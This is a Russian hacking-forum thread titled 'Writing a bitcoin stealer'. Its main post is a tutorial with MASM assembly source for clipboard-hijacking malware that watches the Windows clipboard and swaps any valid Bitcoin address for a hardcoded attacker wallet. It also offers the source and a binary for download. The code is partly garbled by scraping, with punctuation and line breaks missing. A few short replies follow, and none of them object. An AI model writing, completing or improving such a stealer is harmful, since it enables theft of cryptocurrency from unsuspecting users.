1. Предложения по работе форума!
    Гость, Внеси в жизнь форума свое пожелание и предложение для его улучшения. Жмяк.
  2. Гость хочешь скачать материал, но не хватает сообщений ? Тогда приобретай статус "Избранного".
  3. Следите за нашими новостями и новыми темами в нашем твиттере. В случае если сайт будет недоступен вы всегда сможете узнать причину.

Пишем стиллер биткоинов

Тема в разделе "Статьи по теме", создана пользователем Evgeshka, 2 фев 2014.

  1. Evgeshka

    Evgeshka New Member

    Регистрация:
    26 дек 2013
    Сообщения:
    0
    Симпатии:
    40
    Баллы:
    0
    Пол:
    Мужской
    [​IMG]
    Давным-давно для WebMoney (и не только) был популярен крайне простой способ получить чужие финансы: подменить содержимое буфера обмена Windows, если в нём находится номер кошелька на свой номер. С введением множества степеней защит данный метод перестали использовать, да и эффективность была под вопросом, не говоря уже о необходимости заставить пользователя запустить стороннее ПО, которое будет осуществлять подмену.

    Случай с Bitcoin отличается: подтверждения, по сути, отсутствуют, номера кошельков ещё более длинные, на конкретного пользователя не пожалуешься...
    В общем, давайте реализуем простой софт, который будет анализировать содержимое буфера обмена и подменять его, если обнаружит там корректный адрес Bitcoin кошелька. Писать будем на MASM, чтобы было веселее.

    Для начала необходимо понять, как проверять адрес кошелька на правильность. В этом нам помогут многочисленные веб-сайты, описывающие процесс создания Bitcoin-адреса, а также пример проверки, пусть даже и на PHP. С логикой проверки разобрались. Приступим к написанию реализации.
    PHP:
    .386
    .model flatstdcall
    option casemap 
    :none
     
     
     
     
    include \masm32\include\windows.inc
    include \masm32\macros\macros.asm
    include \masm32\macros\windows.asm
     
     
     
     
    uselib kernel32
    user32advapi32masm32
     
     
     
     
    .const
    Диапазон допустимой длины адреса кошелька
    wallet_len_min equ 27
    wallet_len_max equ 34
     
     
     
     
    Код версии адреса
    address_version equ 00h
     
     
     
     
    Набор символовиспользуемых в адресе
    Кроме0 O I l
    wallet_symbols db 
    "123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz"0
     
     
     
     
    Адресна который будет заменяться значение в буфере
    wallet_replace db 
    "14GzzUaiNuDZYxhW8xd9emTJDtCjXKJkNT"0
     
     
     
     
    .data?
    prov dd ?
    Мы объявили некоторые вспомогательные константы, которые нам в дальнейшем понадобятся для проверки адрес на корректность. Из ссылок выше понятно, что нам придется делать функцию декодирования для base58 и где-то брать реализацию SHA256. base58 реализуем самостоятельно, а SHA256... в общем воспользуемся Microsoft CryptoAPI. Продолжим.
    PHP:
    .code
    Вспомогательные функции
    Небольшая функция для логирования отладочной информации
    log_message proc msg
    :dword
       local buffer
    [256]:byte
     
     
     
     
       invoke GetLastError
       invoke wsprintf
    addr bufferchr$("%s [%08X]"), msgeax
     
     
     
     
       invoke OutputDebugString
    addr buffer
     
     
     
     
       ret
    log_message endp
     
     
     
     
    base58_decode proc uses ebx esi edi
    in_buffer:dwordout_buffer:dword
     
     
     
     
     
    Будем опираться на констанысвойственные для проверки кошелька
     
    Размер выходного буфера не менее 25 байт (расширенный RIPEMD-160 4 байта контрольной суммы)]
     ; 
    Декодирование исключительно под адрес кошелька,
     ; 
    для абстрактной строки в base58 функцию необходимо править
     
     
     
     
     
    Заполняем содержимое буфера нулями
       
    xor eaxeax
       mov ecx
    25
       mov edi
    out_buffer 
       rep stosb
     
     
     
     
     
     
     
     
       mov esi
    in_buffer
       mov edi
    out_buffer
    m1
    :
     ; 
    Нулл-байт во входном буфере конец декодирования
       movzx eax
    byte ptr[esi]
       
    test eaxeax
       je m5
     
     
     
     
     
    Сохраним регистр на время сканирования символа в eax
       push esi
     
     
     
     
     
    Символ должен быть из набора wallet_symbols
       mov esi
    offset wallet_symbols
    m2
    :
       
    movzx ebxbyte ptr[esi]
     ; 
    Если байты совпадаютто символ входит в набор допустимых
       cmp eax
    ebx
       jz m3
     
     
     
     
     
    Если мы дошли до конца набора допустимых символов (нулл-байт)
     ; 
    и все ещё не вышли из циклазначитсимвол не из набора
       test ebx
    ebx
       je err0
     
     
     
     
     
    Продолжаем проверку
       inc esi
       jmp m2
    m3
    :
     ; 
    Поместим в eax позицию найденого в наборе символа
       mov eax
    esi
       mov esi
    offset wallet_symbols
     
     
     
     
       sub eax
    esi
     
     
     
     
     
    Вложенный цикл с конца выходного буфера
       mov ebx
    25 1
    m4
    :
     ; 
    N-й элемент буфера (с концаумножим на 58
     
    и прибавим к позиции упомянутой выше
       movzx ecx
    byte ptr[edi ebx]
     
     
     
     
       
    imul ecx58
       add eax
    ecx
     
     
     
     
     
    Сохраним в выходной буфер результат деления с остатком
       push ebx
     
     
     
     
       cdq
       mov ebx
    256
       div ebx
     
     
     
     
       pop ebx
     
     
     
     
       mov byte ptr
    [edi ebx], dl
     
     
     
     
     
    Поделим позицию элемента на 256
       push ebx
     
     
     
     
       cdq
       mov ebx
    256
       div ebx
     
     
     
     
       mov eax
    edx
     
     
     
     
       pop ebx
     
     
     
     
     
    Конец тела вложенного цикла
       dec ebx
       test ebx
    ebx
       jne m4
     
     
     
     
     
     
     
     
       pop esi
     
     
     
     
     
    Если в eax что-то отличное от нулл-байта,
     ; 
    значитадрес кошелька имеет некорректный размер
       test eax
    eax
       jne err1
     
     
     
     
       inc esi
       jmp m1
    m5
    :  
     
     
     
     
       
    mov eax1
       ret
     
     
     
     
    err0
    :
       
    pop esi
       invoke log_message
    chr$("invalid symbol")
     
     
     
     
       
    mov eax0
       ret
    err1
    :
       
    invoke log_messagechr$("invalid address length")
     
     
     
     
       
    mov eax0
       ret
    base58_decode endp
    Теперь у нас есть функция декодирования и небольшая функция логирования. Для лучшего понимания алгоритма base58 стоит обратиться к Google, так как псевдокод или реализация на языке высокого уровня обычно проще для понимания. Перейдем к простой обертке над CryptoAPI, которая будет осуществлять вычисление необходимого хэша.
    PHP:
    Инициализация нужного криптопровайдера
    sha256init proc
       invoke CryptAcquireContext
    offset provNULLNULLPROV_RSA_AES0
       
    .if eax == 0
           invoke CryptAcquireContext
    offset provNULLNULLPROV_RSA_AESCRYPT_NEWKEYSET
       
    .endif
     
     
     
     
       
    ret
    sha256init endp
     
     
     
     
     
     
     
     
    sha256fini proc
       invoke CryptReleaseContext
    prov0
     
     
     
     
       ret
    sha256fini endp
     
     
     
     
    Хэширование SHA256
    sha256 proc in_buffer
    :dwordin_buffer_length:dwordout_buffer:dwordout_buffer_length:dword
       local hash
    :dword
       local aux
    :dword
     
     
     
     
     
    CALG_SHA_256 0x0000800c
       invoke CryptCreateHash
    prov0000800Ch00addr hash
       
    .if eax == 0
           invoke log_message
    chr$("CryptCreateHash")
           
    jmp err
       
    .endif
     
     
     
     
       
    invoke CryptHashDatahashin_bufferin_buffer_length0
       
    .if eax == 0
           invoke log_message
    chr$("CryptHashData")
           
    jmp err
       
    .endif
     
     
     
     
       
    mov auxsizeof dword
     
     
     
     
       invoke CryptGetHashParam
    hashHP_HASHSIZEaddr out_buffer_lengthaddr aux0
       
    .if eax == 0
           invoke log_message
    chr$("CryptGetHashParam - HP_HASHSIZE")
           
    jmp err
       
    .endif
     
     
     
     
       
    invoke CryptGetHashParamhashHP_HASHVALout_bufferaddr out_buffer_length0
       
    .if eax == 0
           invoke log_message
    chr$("CryptGetHashParam - HP_HASHVAL")
           
    jmp err
       
    .endif
     
     
     
     
    err:
       .if 
    hash != 0
           invoke CryptDestroyHash
    hash
       
    .endif
     
     
     
     
       
    ret
    sha256 endp
    У нас есть всё, что нужно для счастья. Остается основная логика и немного работы с буфером обмена, но для этого мы воспользуемся готовыми функциями из библиотеки MASM.
    PHP:
    Функция проверки адреса
    validate_wallet proc uses esi edi
    buffer:dword
       local decoded
    [32]:byte
       local digest1
    [32]:byte
       local digest2
    [32]:byte
     
     
     
     
       invoke lstrlen
    buffer
       
    .if eax wallet_len_min || eax wallet_len_max
           invoke log_message
    chr$("wallet length error")
           
    jmp err
       
    .endif
     
     
     
     
     ; 
    Декодируем адрес из base58
       invoke base58_decode
    bufferaddr decoded
       
    .if eax == 0
           invoke log_message
    chr$("base58_decode error")
           
    jmp err   
       
    .endif
     
     
     
     
     ; 
    Проверяем версию
       lea eax
    decoded
       mov al
    byte ptr[eax]
       .if 
    al != address_version
           invoke log_message
    chr$("address version error")
           
    jmp err   
       
    .endif
     
     
     
     
       
    invoke sha256addr decoded21addr digest1sizeof digest1    
       invoke sha256
    addr digest1sizeof digest1addr digest2sizeof digest2
     
     
     
     
     
    Сравним декодированную и посчитанную контрольные суммы
       lea esi
    decoded
       add esi
    21 
       lea edi
    digest2
     
     
     
     
       mov ecx
    4
       repz cmpsb
       jnz err
     
     
     
     
       mov eax
    1
       ret
    err
    :
       
    mov eax0
       ret
    validate_wallet endp
     
     
     
     
    start proc
       local clipboard_data
    :dword
     
     
     
     
     
     
     
     
       invoke sha256init
       
    .if eax == 0
           invoke log_message
    chr$("sha256init")
           
    jmp err
       
    .endif
     
     
     
     
       .while 
    TRUE
           invoke GetClipboardText
     
     
     
     
           
    .if eax != 0
               mov clipboard_data
    eax
     
     
     
     
             
    Проверим содержимое буфера обмена и заменим,
             ; 
    если это адрес Bitcoin кошелька
               invoke validate_wallet
    clipboard_data
               
    .if eax != 0
                   invoke log_message
    chr$("valid wallet detected")
                   
    invoke SetClipboardTextExoffset wallet_replace
               
    .endif
     
     
     
     
               
    invoke GlobalFreeclipboard_data
           
    .endif
     
     
     
     
           
    invoke Sleep500
       
    .endw
     
     
     
     
    err
    :
       
    invoke sha256fini
     
     
     
     
       invoke ExitProcess
    0
       ret
    start endp
     
     
     
     
    end start
    Вот собственно и всё. Обращу внимание на один момент: функция SetClipboardTextEx не относится к библиотеке masmlib. Что она из себя представляет? Это функция SetClipboardText из masmlib, но после вызова

    PHP:
    invoke OpenClipboard,NULL                  open clipboard


    я добавил ещё

    PHP:
    invoke EmptyClipboard                      clear clipboard


    Без этого функция упорно не хотела изменять содержимое буфера обмена, по крайней мере на Windows 7. Не знаю, с чем это связано, не разбирался.
    Теперь всё готово. Компилируем и проверяем, также можно параллельно открыть DebugView и смотреть, какие отладочные сообщения выводит программа.

    Опытным путём несложно убедиться, что при копировании корректного адреса через буфер обмена он заменяется на наш.

    Исходный код + бинарник для тестов: Для того чтобы посмотреть скрытый текст, авторизовывайтесь на сайте или зарегистрируйтесь.


    Авторы статьи:
    (с) kaimi
    (с) Escobar
     
  2. d.taran

    d.taran New Member

    Регистрация:
    10 янв 2015
    Сообщения:
    52
    Симпатии:
    0
    Баллы:
    0
    Пол:
    Мужской
    это зачем?
     
  3. влад

    влад Member

    Регистрация:
    12 янв 2015
    Сообщения:
    27
    Симпатии:
    0
    Баллы:
    6
    Пол:
    Мужской
    всегда преклонялся перед людьми умеющими писать на ассемблере )
     
  4. macuobacyo

    macuobacyo New Member

    Регистрация:
    21 июн 2017
    Сообщения:
    25
    Симпатии:
    0
    Баллы:
    1
    Извините, что не по теме. Сколько читал про биткоины, так и не понял, в чем же их суть! Можете объяснить простыми словами тугодуму, что это за криптовалюта, и как вообще её добывать - сам механизм? То что обменивать можно - догадываюсь. Её народ как-то умудряется из ничего делать, насколько мне известно.
     

Поделиться этой страницей